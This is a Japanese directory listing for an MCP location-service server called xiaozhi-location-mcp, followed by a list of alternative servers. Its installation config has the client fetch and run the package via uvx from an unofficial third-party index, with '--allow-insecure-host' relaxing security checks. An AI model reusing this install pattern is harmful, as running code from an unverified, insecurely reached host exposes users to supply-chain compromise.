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Xiaozhi Location MCP
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Xiaozhi Location MCP

小智位置MCPサービス設定
位置情報サービス開発者ツール#位置サービス#MCP設定#uvxコマンド.Python
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概要

インストール

ツールリスト

コンテンツ詳細

代替品

xiaozhi-location-mcpとは？

xiaozhi-location-mcpは、Model Context Protocol (MCP) に基づくサーバーで、位置サービスの提供に特化しています。ユーザーはコマンドラインでサーバーと対話し、位置情報を取得または更新できます。

xiaozhi-location-mcpの使い方は？

特定のコマンドを実行することで、xiaozhi-location-mcpサーバーを起動および操作できます。このサーバーは指定されたPyPIソースからのインストールをサポートし、位置関連のリクエストを処理できます。

適用シナリオ

ローカルで位置サービスをデプロイおよび管理する必要がある開発者、システム管理者、および位置機能を統合するアプリケーションに適しています。

主要機能

位置データ管理
位置関連データの保存、検索、更新をサポートします。
コマンドライン対話
コマンドラインツールを提供し、ユーザーが直接サーバーと対話できるようにします。
カスタム設定
ユーザーが必要に応じてサーバーの実行パラメータを調整できます。
利点
インストールと使用が簡単で、非技術的なユーザーにも適しています。
柔軟な位置データ管理をサポートします。
互換性が高く、他のシステムと統合できます。
制限
一定のコマンドライン操作の基礎が必要です。
現在、グラフィカルユーザーインターフェイス操作はサポートされていません。
特定のPyPIソースに依存してインストールされます。

使い方

サーバーのインストール
コマンドラインでxiaozhi-location-mcpサーバーをインストールします。
サーバーの起動
インストールが完了したら、ドキュメントの説明に従ってサーバーを起動します。
コマンドライン操作の使用
コマンドラインツールを使用してサーバーと対話します。例えば、位置情報を照会したりデータを更新したりします。

使用例

現在の位置情報を照会する
ユーザーはコマンドラインで現在のデバイスの位置情報を照会できます。
位置情報を更新する
ユーザーは新しい位置情報を手動で入力し、サーバーに更新できます。

よくある質問

サーバーのセキュリティを確保するにはどうすればいいですか？
インストールエラーが発生した場合はどうすればいいですか？
多言語対応していますか？

関連リソース

公式ドキュメント
詳細なサーバーの使用ガイドとAPIドキュメントを提供します。
GitHubコードライブラリ
サーバーのソースコードとサンプルプロジェクトが含まれています。
ビデオチュートリアル
サーバーのインストールと使用方法に関するビデオチュートリアルを提供します。

インストール

以下のコマンドをクライアントにコピーして設定
{
  "mcpServers": {
    "xiaozhi-location-mcp": {
      "command": "uvx",
      "type": "stdio",
      "args": [
        "--index",
        "https://pypi.mac.axyz.cc:30923/simple",
        "--allow-insecure-host",
        "pypi.mac.axyz.cc",
        "xiaozhi-location-mcp"
      ],
      "env": {}
    }
  }
}
注意：あなたのキーは機密情報です。誰とも共有しないでください。

代替品

R
Rsdoctor
Rsdoctorは、Rspackエコシステム向けに開発されたビルド分析ツールで、webpackと完全に互換性があり、可視化ビルド分析、多次元パフォーマンス診断、インテリジェントな最適化提案を提供し、開発者がビルド効率とエンジニアリング品質を向上させるのに役立ちます。
TypeScript
9.4K
5ポイント
N
Next Devtools MCP
Next.js開発ツールのMCPサーバーです。ClaudeやCursorなどのAIプログラミングアシスタントにNext.js開発ツールとユーティリティを提供します。実行時診断、開発自動化、およびドキュメントアクセス機能が含まれています。
TypeScript
9.1K
5ポイント
T
Testkube
Testkubeは、クラウドネイティブアプリケーション向けのテストオーケストレーションと実行フレームワークで、テストの定義、実行、分析を行うための統一プラットフォームを提供します。既存のテストツールとKubernetesインフラストラクチャをサポートします。
Go
5.6K
5ポイント
M
MCP Windbg
AIモデルをWinDbg/CDBに統合するMCPサーバーで、Windowsのクラッシュダンプファイルの分析とリモートデバッグに使用し、自然言語での対話を通じてデバッグコマンドを実行できます。
Python
9.2K
5ポイント
R
Runno
Runnoは、JavaScriptツールキットのセットで、ブラウザやNode.jsなどの環境で複数のプログラミング言語のコードを安全に実行するためのものです。WebAssemblyとWASIを通じてサンドボックス化された実行を実現し、Python、Ruby、JavaScript、SQLite、C/C++などの言語をサポートし、Webコンポーネント、MCPサーバーなどの統合方法を提供します。
TypeScript
8.6K
5ポイント
N
Netdata
Netdataはオープンソースのリアルタイムインフラストラクチャ監視プラットフォームで、毎秒の指標収集、可視化、機械学習による異常検出、自動化アラートを提供し、複雑な構成なしで全スタックの監視を実現します。
Go
10.2K
5ポイント
M
MCP Server
Mapbox MCPサーバーは、Node.jsで実装されたモデルコンテキストプロトコルサーバーで、AIアプリケーションにMapboxの地理空間APIへのアクセス機能を提供します。地理コーディング、興味のある場所の検索、ルート計画、等時線分析、静的地図生成などの機能が含まれます。
TypeScript
8.2K
4ポイント
U
Uniprof
uniprofは、CPUパフォーマンス分析を簡素化するツールで、複数のプログラミング言語とランタイムをサポートし、コードの変更や依存関係の追加なしに、Dockerコンテナまたはホストモードでワンクリックでパフォーマンスプロファイリングとホットスポット分析を行うことができます。
TypeScript
8.4K
4.5ポイント
E
Edgeone Pages MCP Server
EdgeOne Pages MCPは、MCPプロトコルを通じてHTMLコンテンツをEdgeOne Pagesに迅速にデプロイし、公開URLを取得するサービスです。
TypeScript
21.0K
4.8ポイント
C
Context7
Context7 MCPは、AIプログラミングアシスタントにリアルタイムのバージョン固有のドキュメントとコード例を提供するサービスで、Model Context Protocolを通じてプロンプトに直接統合され、LLMが古い情報を使用する問題を解決します。
TypeScript
70.0K
4.7ポイント
G
Gmail MCP Server
Claude Desktop用に設計されたGmail自動認証MCPサーバーで、自然言語でのやり取りによるGmailの管理をサポートし、メール送信、ラベル管理、一括操作などの完全な機能を備えています。
TypeScript
16.2K
4.5ポイント
B
Baidu Map
認証済み
百度マップMCPサーバーは国内初のMCPプロトコルに対応した地図サービスで、地理コーディング、ルート計画など10個の標準化されたAPIインターフェースを提供し、PythonとTypescriptでの迅速な接続をサポートし、エージェントに地図関連の機能を実現させます。
Python
32.3K
4.5ポイント
G
Gitlab MCP Server
認証済み
GitLab MCPサーバーは、Model Context Protocolに基づくプロジェクトで、GitLabアカウントとのやり取りに必要な包括的なツールセットを提供します。コードレビュー、マージリクエスト管理、CI/CD設定などの機能が含まれます。
TypeScript
18.2K
4.3ポイント
U
Unity
認証済み
UnityMCPはUnityエディターのプラグインで、モデルコンテキストプロトコル (MCP) を実装し、UnityとAIアシスタントのシームレスな統合を提供します。リアルタイムの状態監視、リモートコマンドの実行、ログ機能が含まれます。
C#
25.1K
5ポイント
M
Magic MCP
Magic Component Platform (MCP) はAI駆動のUIコンポーネント生成ツールで、自然言語での記述を通じて、開発者が迅速に現代的なUIコンポーネントを作成するのを支援し、複数のIDEとの統合をサポートします。
JavaScript
19.0K
5ポイント
S
Sequential Thinking MCP Server
MCPプロトコルに基づく構造化思考サーバーで、思考段階を定義することで複雑な問題を分解し要約を生成するのに役立ちます。
Python
28.1K
4.5ポイント
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